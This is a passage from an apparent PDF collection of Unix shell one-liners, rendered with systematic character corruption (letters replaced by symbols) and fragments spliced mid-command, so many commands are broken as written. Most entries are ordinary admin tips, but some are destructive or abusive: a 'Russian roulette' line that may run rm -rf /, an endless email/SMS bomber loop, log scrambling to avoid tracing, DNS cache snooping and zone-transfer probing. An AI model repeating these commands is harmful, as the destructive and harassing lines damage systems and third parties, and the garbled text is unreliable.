until the (irst instance o( a re&ular e,pression2 -command. 4 perl pe /-re&e,/ FF e,it # 3reate a (alse directory structure (or testin& your commands (or i in /usr/%in/ do touch $i##/ done 368 / 658
All UNIX COMMANDS # 0ist state o( NAT2 netstatnat n # Ho* to run a shell script on a remote host usin& (tp *atch n" 8i( test e run2t,t then chmod 1, script2sh FF 2/script2sh FF rm run2t,t 44 rm run2t,t FF echo . (ailed2t,t (i8 # Monitor (ile contents that is %ein& over*ritten re&ularly *hile sleep do clear cat /tmp/*hatever2cue done # %ac)up your QMR in(o dd i(=/dev/sda o(=m%r2%) %s=Z9 count= # Remove semaphores ipcs s 4 &rep apache 4 a*) print $9 4 ,ar&s ipcrm sem # Trans(er *ith rsync a (ile usin& SSH *ith a (orced HMA3 inte&rity al&orithm rsync av e 8ssh o MA3s=hmacripemd"8 pro&ress partial user7remotehost://path/to/remote/stu(( 2 # 3hec) reacha%le sites "+U"+Z" pin& P c *U ***2test2com 4 &rep received 44 mail ne sHost W922"2? not reacha%le test7&mail2com # rintin& multiple years *ith @ni, cal command (or y in 9""W 9"" 9" do cal $y done # @pload an ima&e to T*itpic curl I 8username=myt*iterlo&in8 I 8pass*ord=myt*itterpass*ord8 I 8messa&e=My ima&e description8 I media=782/ima&e2pn&8 http://t*itpic2com/api/uploadAndost # dit the list o( to i&nore (iles in the active directory svn pe svn:i&nore 2 # 6ump your Thunder%ird 0i&htnin& todo list in 3S[ (ormat sPliteU csv X/2thunder%ird/2de(ault/calendardata/local2sPlite 8S03T 3AS JHN priority illa8 8http://translate2&oo&le2com/translatettsVtl=enFP=hello1*orld8 4 play t mpU # Restart ^en ^A< ,etoolstac)restart # 0il stats on instant usa&e o( navi&ator a*) Q;
# &et the in(o *hich %ranch *as created svn lo& stoponcopy r :HA6 l 369 / 658
All UNIX COMMANDS # ;et the current svn %ranch/ta& E;ood (or S/ROMT3OMMAN6 casesG svn in(o 4 &rep '@R0 4 a*) IL/ print $NI # S[N set e,ec %it on svn ps svn:e,ecuta%le yes /*e%/itscripts/chec)mail2plproperty # 3ommand line email/SMS Qom%er *hile true do echo 8messa&e here8 4 mutt somethin&7somethin&2com done # Iind stoc) de%ian pac)a&e con(i& (iles that have %een modi(ied since installation de%sums # chec) site i( not reacha%le "+U"+Z" pin& c *U ***2test2com ./dev/null # 3hec) 3R0 e,piration time _curl http://crl2&odaddy2com/&dsZ2crl 9./dev/null 4 openssl crl in(orm 6R noout ne,tupdate 4 a*) I= print $9 4 ,ar&s < date d 1Ks_ &t _date d hours 1 Ks_ B FF echo 8OY8 44 echo 8,pires soon8 # 0isten to TJiT *ith mpd/mpc mpc clear FF mpc add http://t*it2am:"/listen FF mpc play # deleter (ind type ( si>e 1" mtime 1 print"4,ar&s "r rm ( # 6isa%lin& Spotli&ht on Mac OS sudo mdutil a i o(( # sort a list o( comma separated num%ers: sortcsn sortcsn EG echo 8$8 4 sed e 8s/+/Ln/&84 sort nu 4 a*) print(E8Ks+8+$"G N6 print(E8Ln8G 4 sed e 8s/+$//8 # (ind and delete empty directories recursively perl MIile::Iind e8(inddepthEsu%rmdir+2G8 # 3onvert He, to Strin& echo ?]?eZZ9]]U9"?e(]?9"ZZeW]9 4 sed e s/LE2L9LLG/LLLL,L/& 4 ,ar&s echo e # 3onvert Jindo*s/6OS Te,t Iiles to @ni, sed i s/Lr// -(ilename. # insert %lan) lines sed ; input2t,t 4 cat s # human reada%le total directory si>e du cah /path/to/(older/ 4 &rep total # 3han&e permission (or all directories inside the current one (ind site/ type d 4 ,ar&s sudo chmod ]ZZ # Iind out current *or)in& directory o( a process p*d, $Ep&rep commandG # 3onvert multiple ima&es to multi pa&e 6I E*ith speci(ic pa&e orderG convert 2292pn& MyMultia&eIile2pd( # ,tract the ri&ht stereo channel (rom all the *av (iles in current dir Ele(t channel *ould %e remi, G (or i in 2*av do so, 8$i8 8$iK2Ri&ht3han2*av8 remi, 9 done 370 / 658
All UNIX COMMANDS # Removes lines ran&eB (rom (ile sed +Zd /path/to/(ile # SSH monitor ssh root7server tail ma,unchan&edstats=" n" I /var/lo&/auth2lo& 4 &rep Accepted 4 *hile read l do )dialo& title 8SSH monitor8 passivepopup 8$l8 U done # Have a list o( directories in a (ile+ endin& *ith ne*lines and need to run du on itV cat (ilename 4 tr Ln L" 4 du hsc V(iles"(rom= # Sho* (ull path (ollo*ed %y a command perl le chompE$*=_*hich $AR;["B_G$=_(ile $*_*hileE/lin)L%/GchompE$=Esplit/_/+$G BGchop$$*2=8 . $8$=_(ile $_print 8Ln$*8 3OMMAN6NAM # e,pand a pro&ramname into an a%solute path on the %ash commandline+ usin& ctrle %ind 8L3e8:8Le% _*hich Le(_LeL3e8
# 3han&e your e,ported ,ml love list (rom last2(m+ into Son&: son&name Artist: artistname cat usernamelovedtrac)s2,sp( 4perl pe 8s/2-title.E2G-L/title.-creator.E2G-L/creator.2/Son&: L Artist: L9/&i8. titles # Sho* &it %ranches %y date use(ul (or sho*in& active %ranches (or ) in $E&it %ranch 4 sed /L/dG do echo 8$E&it lo& pretty=(ormat:8Kct8 $)G $)8 done 4 sort r 4 a*) print $9 # Iind resolva%le hosts in su%net nmap s0 ]?29Z29U]2/9? # 3opy 3urrent 3ommand 0ine to 3lip%oard %ind 8L3l8: 8L3u cat --OT 4 p%copy Ln L3y LnOTLn8 # Remove @TI Qyte Order Mar) QOM (ind 2 type ( re&e, 2html$ e,ec sed i s/L,IL,QQL,QI// L # ,tract audio (rom dvd vo%s in current dir (or i in 2[OQ do mplayer 8$i8 ao pcm:(ile=8$iK22*av8 done # ;enerate entropy rn&d ( r /dev/urandom # 3opy uncommitted chan&es (rom remote &it repository ssh HOST Ecd RO6
All UNIX COMMANDS *hile true do curl s http://***2commandline(u2com/commands/vie*/U?U/lo&acommandsvotes 4 &rep id=8numvotes 4 sed s2id=8numvotes"WB8.LE"WLBLG-/div.L .. votes sleep " done # con(i&i(y the list o( &ems on ur machine2 the Puic) hac) &em list local 4 python c 8import sysimport rel=sys2stdin2readlinesEG,=con(i&2&em :1line:B:line2inde,E GB 1 + 1line:B line2inde,E G:B2replaceEE+:version =. G2replaceEG+G (or line in lBprint Ln2DoinE,G8 # Qurn an
# (ind only current directory EuniversalG (ind /some/directory/ prune type ( name 2lo& # @sin& psnup to &et t*o pa&es per pa&e psnup 9 (ile2ps 4 lpr # replace old htaccess php AddHandler values *ith ne* one 372 / 658
All UNIX COMMANDS (ind /var/***/ type ( name 82htaccess8 e,ec perl pi e s/AddHandlerLsBphpE?4ZG c&i/AddHandler ,httpdphpL/ L # Ma)e a statistic a%out the lines o( code (ind 2 name L2c 4 ,ar&s *c l 4 tail 4 a*) print $ # 6o*nload a Ti[o Sho* curl s c /tmp/coo)ie ) u tivo:$MAY di&est 8$Ecurl s c /tmp/coo)ie ) u tivo:$MAY di&est https://$tivo/no*playin&/inde,2html 4 sed s2-a hre(=8LE'8BLG8.6o*nload M; S-/a.2L 4 sed s4LFamp4LF4G8 4 tivodecode m $MAY . tivo2mp& # con(i&i(y the list o( &ems on ur machine2 the Puic) hac) &em list local 4 python c 8import sysimport rel=sys2stdin2readlinesEG,=con(i&2&em L81line:B:line2inde,E GB 1 L8 + 1line: Bline2inde,E G:B2replaceEE+:version =. L8G2replaceEG+G1L8 (or line in lBprint Ln2DoinE,G8 # ;et <v? o( eth" (or use *ith scripts i(con(i& eth" 4 a*) /inet / print $9 4 cut d : (9 # mer&e o&& (ile into a ne* one accordin& to their do*nload time cat $Els c 4 &rep o&& 4 tac G . directory/test2o&& # ;et your local < re&ardless o( your net*or) inter(ace i(con(i& 4 sed ne s/'2inet LEaddr:LGLE' BLG2/L9/te e d:e e /'9]L2/dp # no lo& to trace you paste -Ecut ( lo&2t,tG -Ecut (9 lo&2t,t 4 shu(G # search &oo&le on any OS &oo&le 8search terms8 #see description (or more details # oneline R0 (or perl *ith *arnin&s and readline support perl MTerm::Read0ine *deprint 8TheAns*er=?9Ln8 # Seach (or pac)a&es on 6e%ian usin& re&e,2 aptitude search 'tin # (ilter rails lo& to count rePuests sliced in seconds tail ( production2lo& 4 perl ne i( E/'3ompleted2in2ELd1G/G$d = intE$/"""Gprint 8Ln8 $($d11(or $t EsortE)eysEK(GGGprint $t28s: 82$($t28Ln8 # Jrite and read H66 e,ternal nt(sU& /dev/da"s /mnt # 3reate a tar archive *ith pa, containin& a set o( (iles (ind path name type ( 4 pa, *d . t,tarchive2tar # Monitorin& (ile chan&e *hile a copy *hile true do ls all my(ile spleep clear done # ma)e pretty the netstat output (or listenin& services sudo netstat plntu inet 4 sort t: )9+9n 4 sort sta%le t2 ) +n ) 9+9n ) U+Un ) ?+?n 4 sort s t8 8 )+ # 6elete )eys (rom Redis %y matchin& a pattern (or )ey in _echo YS pattern 4 rediscli 4 a*) print $_ do echo 60 $)ey done 4 rediscli # 3han&e users pass*ord 373 / 658
All UNIX COMMANDS sudo pass*d -username. # move (iles *ithout actually touchin& them cd /some/directory LFLF tar c( 4 cd /some/directory LFLF tar ,v( / # less an messa&e on a post(i, mailsystem *ith a speci(ic messa&eid id=-^^^^. (ind /var/spool/post(i,/ name $id e,ec less L # ncode a hP video 1"m%/min to an m%/min suita%le (or youtu%e ((mpe& i in2m)v acodec li%(aac a% 9) ac 9 vcodec li%,9? vpre ma, cr( 99 threads " out2mp? # Qac)up to tape+ re*ind and chec) mdZ tar cv( $6
# &et Mothers 6ay sPlite. select dateEno*+ start o( year+ 1? months+ *ee)day "+ 1] daysG # 3reate a 9",]9" color plasma ima&e2 6i((erent each time2 convert si>e 9",]9" plasma:(ractal %ac)&round2pn& # (ind command usa&e (ind /pentest/ type ( iname 8trace8 # add all (iles not under version control to repository svn st 4 a*) i( E $ == 8V8 Gprint $=88+$" 4 sed e s/' LtB// 4 sed s/ /LL /& 4 perl ne _svn add $7_ i( /E2GE7GE2G/ # Jrite and read H66 e,ternal nt(sU& /dev/da"s /mnt
EOS IreeQS6G
# 5uery Ji)ipedia via console over 6NS *)i EG di& 1short t,t 8$// /82*p2d&2c, 4 sed e s/'8LE2LG8$/L/ e s/L E'LBLG8'LB8/L/& e s/LLLE2LG/L/& # 3han&es dir to $ and e,ecutes ls2 As simple as use(ul cd EG command cd $ FF ls # Sho* header HTT *ith tcpdump tcpdump s "9? l A src W922W2Z or dst W922W2Z # ma)e rsync pro&ress output suita%le (or shell script readin& rsync pro&ress user7host:/path/to/source /path/to/tar&et/ 4 std%u( o0 tr Lr Ln .. rsyncpro&ress2t,t # 3hec) SS0 crt and )ey compati%ility YHASH=_openssl rsa in $YATH modulus noout 4 openssl mdZ_ FF 3RTHASH=_openssl ,Z"W in $3RTATH modulus noout 4 openssl mdZ_ i( 8$YHASH8 != 8$3RTHASH8 Bthen echo 8M6Z sums %et*een 2)ey and 2crt (iles 6O NOT MAT3H8(i # delete all 6rJe% status+ (ailure and other messa&es on a post(i, server mailP 4 &rep 6rJQ 4 a*) print $ 4 sed s///& 4 postsuper d 374 / 658
All UNIX COMMANDS # 3reate a >ip (ile i&norin& 2svn (iles (ind 2 not LE name 2svn prune LG type ( 4 ,ar&s >ip ^^^^^2>ip # Remove 3R 0I (rom a te,t (ile (lip u $I<0 # 0ist only locally modi(ied (iles *ith 3[S cvs up 9.F 4 &rep color @ L4 L4A L4R L4M L43 L4V # ncode m)v (ile to o&&1h9?1m)v ((mpe& i initial2m)v acodec li%vor%is a% 9) ac 9 vcodec li%,9? vpre ma, cr( 99 threads " (inal2m)v # 0ist the si>e Ein human reada%le (ormG o( all su% (olders (rom the current location du h ma,depth= 4 sort hr # 6isplays *hat shell you are usin&2 echo $" # 3onverts a sin&le I0A3 (ile *ith associated cue (ile into multiple I0A3 (iles shnsplit o (lac t 8Kn Kt Ka8 ( sample2cue sample2(lac # mpty a (ile truncate s " (ile2t,t # Matri, Style *hile true do print( 8LeU9mK^Le"m8 $EERAN6OMK9GG (or EEi=" i-$EERAN6OMK9GG i11GG do print( 8 8 done done # 6elete )eys (rom Redis %y matchin& a pattern rediscli )eys patternL 4 ,ar&s rediscli del # (ile si>es o( current directory ls la 4 a*) print $Z+ 8 8 +$W 4 sort rn # pur&e old stale messa&es on a Pmail Pueue (or i in _&rep 8una%le to stat8 /var/lo&/syslo& 4 cut d 8/8 ( U 4 sort 4 uniP_ do (ind /var/Pmail/Pueue name $i type ( e,ec rm v L done # lay 9"" o(( the hoo) over ssh curl 0 s _curl s http://***29""2com/oth%road%and2,ml_ 4 ,mlstarlet sel t m 8//enclosureB8 v 87url8 n 4 head n _ 4 ssh t userB7hostB 8mp&9U 8 # Set volume to a mpU (ile ((mpe& i (oo2mpU vol 9" acodec li%mpUlame %ar2mpU
# Terrorist threat level te,t echo 8Terrorist threat level: $Ecurl s http://***2dhs2&ov/dhspu%lic/&etAdvisory3ondition 4 a*) IL8 NR==9 print $9 G8 # ;et the a%solute path o( a (ile realpath s -(ilename. # Adds 8c8 canonical option to %ash 8type8 %uiltin command to (ollo* sym%olic lin)s type EG i( 8$8 = 8c8 B then shi(t (or ( in 8$78 do ((=$E%uiltin type p 8$(8G readlin) ( 8$((8 done else %uiltin type $typeopts 8$78 (i 375 / 658
All UNIX COMMANDS # 6isplay only the actual uptime value uptime 4 cut d 8+8 ( 4 cut d 8 8 ( ? # histo&ram o( (ile si>e &nuplot p -Eecho 8set terminal *,t si>e _,randr4&rep LsUELd1,Ld1G2L1$4tr s Lt4cut (94sort n4tail n4tr , +_ set lo&scale y set style data hist set ,tic rot %y W" plot -Estat c L8Kn KsL8 G u 9:,ticEG8G # Qasic Shell (unction diems& diems&EG echo $7 .F9 e,it # print pd( man (ile man t ls . ls2ps FF pd(9ps ls2ps FF rm ls2ps # Simulate a tree command ls R 4 &rep 8:$8 4 sed e s/:$// e s/'B'L/BL///& e s/'/
/ e s//4/
# ;et your current u%lic < di& oo2myaddr2l2&oo&le2com 7ns2&oo&le2com t,t 1short # ;et svn lo& (rom remote server svn lo& l""" -[ 3TR0 SR[R. v . svn(ull2lo& # ;et (ull directory path o( a script re&ardless o( *here it is run (rom I@00ATH=$Eperl e 8use 3*d a%spathprint a%spathE$"G8G # Throttle do*nload speed Eat speed , G aria9c ma,do*nloadlimit=""Y (ile2metalin) # all Dava ^m, values in a system+ add them up output=$Eps e(4&rep i Dava 9./dev/nullG (or * in $output7B do i( $* =X 2^m,2 BB then result=$E&rep o 8"WB18 --- $*G echo $result (i done4 a*) Q;
All UNIX COMMANDS *&et O/dev/null P @R0to3hec) FF echo e,ists 44 echo not e,ist # ;enerate an ^Y36 #WU style ? *ord pass*ord Dot ? 4 a*) print 8*c l /usr/share/dict/*ords 4 a*) 88 print L8echo $ $RAN6OM $RAN6OM K L8 $ L8BL8 88 4 %ash 4 a*) 88 print L8sed n L8 $ L8p /usr/share/dict/*ordsL8 88 4 %ash8 4 %ash 4 tr d Ln 4 sed s/$/Ln/ # unun>ip a (ile un>ip l (ilename2>ip 4a*) i(E$? != 8Name8 FF $? != 88G print $?4,ar&s t rm r( # (ind usa&e (ind /etc/ /pentest/ type ( iname 8sPl8 4 &rep map # ls%release a ls%release a
# OS ^: clean up Jindo*s and 3lassic Mac OS ne*lines (rom the te,t in the clip%oard p%paste 4 tr LrLn Ln 4 tr Lr Ln 4 p%copy # sho*s history o( lo&ins on the server last aiI 4 head # Restore application on Openshi(t rhc snapshot restore a appName ( /path/to/snapshot/appName2tar2&> # Simple server *hich listens on a port and prints out received data nc l p portnum%er # Iind (iles modi(ied in the last N days list sorted %y time (ind 2 type ( mtime ? e,ec ls ltd LL L 4 less # Coin avi (iles cat %2avi %92avi %U2avi %?2avi %Z2avi %2avi %]2avi . output2avi mencoder (orceid, oac copy ovc copy output2avi o output(inal2avi rm output2avi # ;et (ull directory path o( a script re&ardless o( *here it is run (rom START
All UNIX COMMANDS # copyin& data *ith cpio (ind 2/source depth print 4 cpio cvo. /destination/sourcedata2cpio cd /destination cpio icvmd< 2/sourcedata2cpio rm r( 2/sourcedata2cpio # 3alculatin& series *ith a*): add num%ers (rom to "" a*) Q;
# Iind out the installation time o( a linu, system E*hen installed in a e,t9/U/? (ile systemG tune9(s l $Ed( / 4 a*) NR==9 print $G 4 sed n s/'2created: //p # scape literal strin& (or inclusion in an e&rep re&e, e&repescapeEG echo 8$8 4sed re s/ELL21VE4G'$BG/LLL/& e s/L/B/&
# Sho* &it %ranches %y date use(ul (or sho*in& active %ranches %rd = 8! (EG (or ) in $E&it %ranch $7 4 sed s/'22// s/ 2//G do echo 8$E&it lo& pretty=K3&reenKci K3%lueEKcrGK3reset $)G $)8 done 4 sort r (8 # Numeric >ero paddin& (ile rename (or i in $EseP * " ""G do mv pre(i,$EE "#$i GG2Dp& pre(i,$i2Dp& done # Num%er o( commits per day in a &it repository &it lo& 4 &rep 6ate 4 a*) print 8 : 8$?8 8$U8 8$ 4 uniP c # Start screen+ attach here an no* to sessionname + %e Puiet screen R 6 S sessionname P 378 / 658
All UNIX COMMANDS # 3@ 6isplay model type and MN iore& l*" 4 &rep
All UNIX COMMANDS (or ( in do (n=_echo $( 4 sed s/LE2LGL2LE'2BLG$/LLnL9/s/L2//&s/Ln/2/&_ mv $( $(n done
# AdDust %ri&htness so(t*are *ayB ,randr output 0[6S %ri&htness "2? # Recursively chan&e permissions on directories+ leave (iles alone2 (ind /var/***/ type ( print" 4 ,ar&s " chmod ?? # Russian rullette: Jarnin&! 6ont run+ i( not sure *hat are you doin& # $ $RAN6OM K B == " B FF rm r( / 44 echo 8Alive8 # more than ? repeated characters to a sin&le character sed ru s/E2GL?+/L/& # Sysadmin day date o( any &iven year AR=9"Z echo Cul $Encal ] $AR 4 a*) /'Ir/print $NIG # Sho*s the lar&est (iles in your archives tar tvD( %ac)up2tar2%>9 4 sort nr) U 4 head # Sa(ely store your &p& )ey passphrase2 p*sa(e Pa 8&p& )eys828$E(in&er _*hoami_ 4 &rep Name 4 a*) print $?8 8$Z G8 # Test i( the &iven ar&ument is a valid ip address2 perl e $p=Pr!EV:"4Ld"+949EV:"?BLdV4Z"ZBV4WBGV4UWBLdVG!printEEshi(t=Xm/'$pL2 $pL2$pL2$p$/GV:"G 9U29U29U29U # Receivin& alerts a%out commands *ho e,it *ith (ailure e,port ROMT3OMMAN6=E ,=$V let ,!=" FF echo shell returned $, G # (loatin& point %ash calculator */o precision %EG echo 8scale=$9:9 $8 4 %c l # Sho* thermal in(o cat /proc/acpi/thermal>one//temperature # he,adecimal dump o( a (ile as it is on dis) *ith he,adecimal o((sets od (ormat=, addressradi,=, my%inary(ile # <&nore all 3omment in [im hi! lin) 3omment <&nore # [er%osely delete (iles matchin& speci(ic name pattern+ older than Z days2 (ind /%ac)up/directory name 8I<0NAM8 mtime 1Z e,ec rm v( 1 # 3opy (ile to multiple destinations cat my(ile 4 tee dest dest9 . /dev/null 9.F # Sho* all 0
All UNIX COMMANDS # 6NS cache snoopin& (or i in _cat names2t,t_ do host r $i nameserverB done # sho* your private/local ip address i(con(i& 4 &rep cast 4 cut d: (9 4 cut d ( # ;enerate random valid mac addresses macchan&er A EnicG # use ethereal to &enerate a pcap (ile o( a [O< call tethereal i eth" R ia,9 FF ip2addr=="292]29 * /tmp/ia,92pcap # Removin& sensitive data (rom the entire repo history2 &it (ilter%ranch inde,(ilter &it rm cached i&noreunmatch IileToRemove HA6 #
# Iind %i&&est " (iles in current and su%directories and sort %y (ile si>e (ind 2 type ( e,ec du sh 1 4 sort hr 4 head # (ind 2 name 88 print 4 ,ar&s &rep s pattern (ind 2 name 88 print 4 ,ar&s &rep s pattern # &rep all pd( (iles in a (older (or i in 2pd( do echo $i echo pd(tote,t $i 4 &rep i ourpattern done # See the mem%ers o( a &roup &etent &roup -&roup. # ;et e,ternal < address Esupports <v? and <vG curl ip2teli>e2com # Replace php short open ta&s (ind 2 name 2phtml 4 ,ar&s perl pi e s/EV!E-LVEphp4,ml4=GGG-LV/-LVphp/& # (ind out a%out a process cat /proc/-<6./environ # Remove all directories less than MQ in si>e in or %elo* current directory (ind 2 type d e,ecdir du sh 4 &rep 8"WB1Y8 4 sed s/'"WL2BL1YLt BL1// 4 tr 8Ln8 8L"8 4 ,ar&s " rm r( # Remove %lan) lines (rom a (ile sed i2%a) /':space:BB$/d (ilename # stdin spea)er via espea) a*) print 4 espea) v pt stdin # sho* ho* much dis)space all ima&es in a &iven directory need (ind /home/%u%o/ type ( LE iname L2Dp& print" + iname L2pn& print" LG 4 du cm (iles"(rom 4 tail # 3reate a virtual dis) E36/6[6G in [irtualQo, [Qo,Mana&e openmedium dvd 8/path/name2iso8 381 / 658
print" + iname L&i(
All UNIX COMMANDS # &et tor %rid&es lyn, dump https://%rid&es2torproDect2or& 4 sed /'%rid&e "WL2B"WL2B:"WB"WB/!d # 3hec) i( your domain name is suspecta%le to a,(r attac)s2 di& 7somenameserver2net somedomainname2net a,(r # Iind the pac)a&e a command %elon&s to on de%ian%ased distros (unction *hichp)& dp)& S $ 4 e&rep * $E*hich $G$ # (ind speci(ied directory and delete it recursively includin& directories *ith spaces (ind 2 name 8directoryname8 type d print" 4 ,ar&s " i rm r( # Spea)s latest t*eet %y O%ama Eos ,G curl 8http://api2t*itter2com//statuses/usertimeline2,mlVcount=Fscreenname=%arac)o%ama8 4 e&rep * 8-te,t.E2G-/te,t.8 4 sed 8s/-L/Vte,t.//&8 4 say # 3reatin& a (eature %ranch &it chec)out % my(eature develop # Recursively set the (iles to i&nore in all (olders (or svn (or (older in $E (ind $E p*d G ma,depth type d 4 &rep v 2svn G do svn propset svn:i&nore I i&norelist $(older done # (ind 2 type ( e,ec &rep ils strin&to(ind 1 (ind 2 type ( e,ec &rep ils strin&to(ind 1 # Sho*s 3@ usa&e (or each process runnin& in Mi)roTi) RouterOS tool pro(ile # ami,er too&le state Emute / unmuteG Eami,er &et Master 4 &rep o(( . /dev/null FF ami,er P set Master unmuteG 44 ami,er P set Master mute # (ind (iles in $ATH that *ere not installed throu&h dp)& echo e 8$ATH//://Ln8 ./tmp/allpath &rep Ih ( /tmp/allpath /var/li%/dp)&/in(o/2list4 &rep v,h ( /tmp/allpath ./tmp/installedinpath (ind $ATH//:/ 4&rep I,v ( /tmp/installedinpath # (loatin& point shell calculator calcEG a*) Q;
# 6o*nload all 6Is (rom an autheni(icated *e%site *&et r np nd A2pd( user pass*ord http://***2domain2tld/courses//do*nload/ # A commands pac)a&e details (unction summp)& dp)& s $Edp)& S $ 4 e&rep * $E*hich $G$ 4 a*) I: print $G # @nmount all mounted SAMQA/Jindo*s shares mount4&rep e //4cut d (U4 ,ar&s < umount #
All UNIX COMMANDS # (ind 2 LE name L2c&i o name L2t,t o name L2htm o name L2html o name L2shtml LG print 4 ,ar&s &rep s pattern (ind 2 LE name L2c&i o name L2t,t o name L2htm o name L2html o name L2shtml LG print 4 ,ar&s &rep s pattern # One liner to sho* a noti(ication on 6es)top in case the load e,ceeds 2 load=_uptime4a*) I+ print $U4a*) print $U_ i( $Eecho 8i( E$load . 2"G else "8 4 %cG eP BB then noti(ysend 80oad $load8(i # 3hec) i( a (ile is te,t &rep P
G GG
# 3reate a lo& (ile o( Nvidia &raphics card temperatures usin& nvidiasmi lo&(ile=/var/lo&/&putemp2lo& timestamp=$E date 1KT Gtemps=$Envidiasmi lsa 4 &rep Temperature 4 a*) I: print $9 4 cut c9? 4 tr 8Ln8 8 8Gecho 8$timestamp $ temps8 .. $lo&(ile # encode a te,t to urlencoded (ormat perl M@R<::scape e print uriescapeE8Strin& encoded to a url8G # 3onvert p)cs9 3erti(icate to AS3<< (or use in H openssl p)cs9 in(o nodes in /path/to/encryptedp9 . /path/to/asciip9 383 / 658
All UNIX COMMANDS # Recursively chan&e permissions on (iles+ leave directories alone2 (ind 2/ type ( e,ec chmod ?? 1 # (ind pictures and renames them appendin& the containin& (older name (ind -(older. type ( name 2Dp& e,ec %ash c e,t=8$"##28path=8$Edirname 8$"8G8name=8$E%asename 8$"84sed 8s/2Dp&//8G8(older=8$Edirname 8$"84tr / LLn 4tail G8ne*=8$path/$name$(older2$e,t8 mv 8$"8 8$ne*8 L # A (iles rpmpac)a&e details summp)&EG rpm P(i 8$78
# 3hec) i( the (iles in current directory has the RATH varia%le de(ined (or i in do (ile $i 4 &rep P 0I 44 continue readel( d $i 4 &rep P RATH 44 echo $i done # 0aunch an interactive shell *ith special aliases and (unctions2 %ash rc(ile /a/special/%ashrc # Iind duplicate @<6 in /etc/pass*d a*) I: print $U /etc/pass*d 4 sort 4uniP d # Re&e, to *rap lines to ]Z characters2 s/EV=2]Z+GEV:E2"+]ZGEV:LrLnV4LnLrVG4E2"+]ZGG B/LL9Ln /& # Search (or Dava e,plicit incrementation e&rep 8Ea>A\Ba>A\"WBG = L /1B "WB1 8 #
All UNIX COMMANDS # Sortin& %y ro*s in(ile=$ (or i in $Ecat $in(ileG do 8s/+$//8 echo done
echo $i 4 tr 8+8 8Ln8 4 sort n 4 tr 8Ln8 8+8 4 sed
# 3ommand to display ho* much resource is ta)en %y cpu and *hich core is ta)in& pidstat 3 8((mpe&8 u # Match a @R0 echo 8ESomethin& li)e http://(oo2com/%lah%lahG8 4 &rep o 8L%EEL*B1://V4***2BG'LsEG-.B 1EV:LEL*LdB1LG4E':punct:BLsB4/GGG8 # 0ist last opened ta%s in (ire(o, %ro*ser &rep o 8entries8:L8url8:8'8B8 8$HOM/2mo>illa/(ire(o,/2de(ault/sessionstore2Ds8 4 sed s/'2:8// s/8$// # let the co* su&&est some commit messa&es (or you *hile true do curl s http://*hatthecommit2com 4 perl p"e E$G=m-p.E21VG-/p.s 4 co*say sleep 9 done # Sets per(ormance 3@ &overner o( all cores o( a ?core 3@2 (or i in "22U do cpu(rePset c $i & per(ormance done # Iind the pac)a&e a command %elon&s to on rpm%ased distros *hichp)&EG rpm P( 8$78 # Startup Nessus and initiali>e plu&ins on %ac)trac)Z sudo /opt/nessus/s%in/nessusd # Re&e, snippet to do multicharacter ',B Openin&ta&EEV:EV!@n*antedta&G2GG3losin&ta& # Sort %y si>e all hardlin)ed (iles in the current directory Eand su%directoriesG (or a in $E(ind 2 ,dev type ( print( KiLn4sort4uniP dGdo (ind 2 ,dev inum $a print( Ks Ki Km Kn K@ K; KA6 KAr KpLndone4sort n4a*) i(E,!=$9Gprint 88,=$9print $"
# revious / ne,t command in history -ctrl1p. (or previous command -ctrl1n. (or ne,t command # 6elete mpty Iiles (ind 2 si>e "c print e,ec rm ( L # Add ne* so(t*are to ;nome search menu thin& &nomedes)topitemedit /usr/share/applications/ createne* # 3onvert a %atch o( ima&es to a [ideo mencoder 8m(://(rame2%mp8 m( *=]9":h=?":(ps=U":type=%mp ovc lavc lavcopts vcodec=mpe&? o num%ervideo2mp? # Spellin& Su&&estion curl s 8http://search2yahooapis2com/Je%SearchService/[/spellin&Su&&estionV appid=ahoo6emoFPuery=mo>m%Pue84sed n e s/2-Result.LE2LG-L/Result.2/L/p # micro ps au, E%y mem/cpuG ps o user+Kcpu+Kmem+command # ,tract a 2&> (ile *ith privile&e 385 / 658
All UNIX COMMANDS sudo sh c &un>ip c source2&> . destination # lay local mpU (ile on remote machines spea)ers cat my(ile2mpU 4 ssh user7remotemachine 8mplayer cache W9 8 # 3ountin& the source codes line num%ers 3/311 Cava (ind /usr/include/ name 2c4hBpp o name 2chB print" 4 ,ar&s "
*c l 4 tail
# ;lo%al search and replace in vi :&/SAR3H/s//R0A3MNT/& # 3opy the most recent *av (ile (rom /media/ to the current (older cp $E(ind /media/ type ( name 82*av8 print( 8KT7 Kh/K(Ln8 4 sort 4 tail 4 a*) print $9 G 2 # Ma)e chan&es in 2%ashrc immediately availa%le 2 X/2%ashrc # Matchin& Strin&s &rep l -strin&tomatch. 4 ,ar&s &rep c -strin¬tomatch. 4 &rep L:" # Open a (ile usin& vim in read only Eli)e lessG vie* /(ile/name # 3reate a data%ase *ith user and pass *ithout hassle2 (unction created% EG mysPladmin u root p create $ FF mysPl u root p e 8;RANT A00 ON $2 TO $97localhost <6NT
All UNIX COMMANDS # 3hec) \one Iile namedchec)>one >onename (ilename # csv (ile o( pin& every minutes *hile true do Edate 4 tr 8Ln8 88G FF pin& P c ***2&oo&le2com4tail 4cut d/ (Z sleep done .. uptime2csv # tar ,> ma,imal compression ^\OT=W tar cC( tar(ile2tar2,> directory # list the top Z (olders %y decreasin& si>e in MQ du m, directoryB 4 &rep 'Ld? 4 sort rn # Yill process you dont )no* the <6 o(+ *hen pido( and p&rep are not availa%le2 )illall W uniPue # Ilush 6NS cache on OS ^ "2Z 0eopard dscacheutil (lushcache # Jatch num%er o( lines %ein& processed on a clear screen cat /dev/urandom4a*) Q;
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All UNIX COMMANDS (unction *hereEG 3O@NT=" *hile _*herear& $X$3O@NT 4 *c *_ == " B do let 3O@NT=3O@NT1 done echo 8$ is ahead o( 8 *herear& $X$3O@NT echo 8%y $3O@NT commits8(unction *herear&EG &it lo& $7 decorate 4 head n 4 cut d (U # 3hec) (or orphaned python (iles (ind /usr/li%/python re&e,type posi,e,tended ! LE type ( re&e, 22Epyc4pyoG prune o print LG 4 P(ile o ( # spea) a chat lo& (ile *hile its runnin& tail ( 0O;I<0 4 perl ne _say 8$8_ # (ind php (iles even *ithout e,tension &rep
# 6isplay 3@ usa&e in percenta&e N@M3@S=_&rep 'proc /proc/cpuin(o 4 *c l_ I
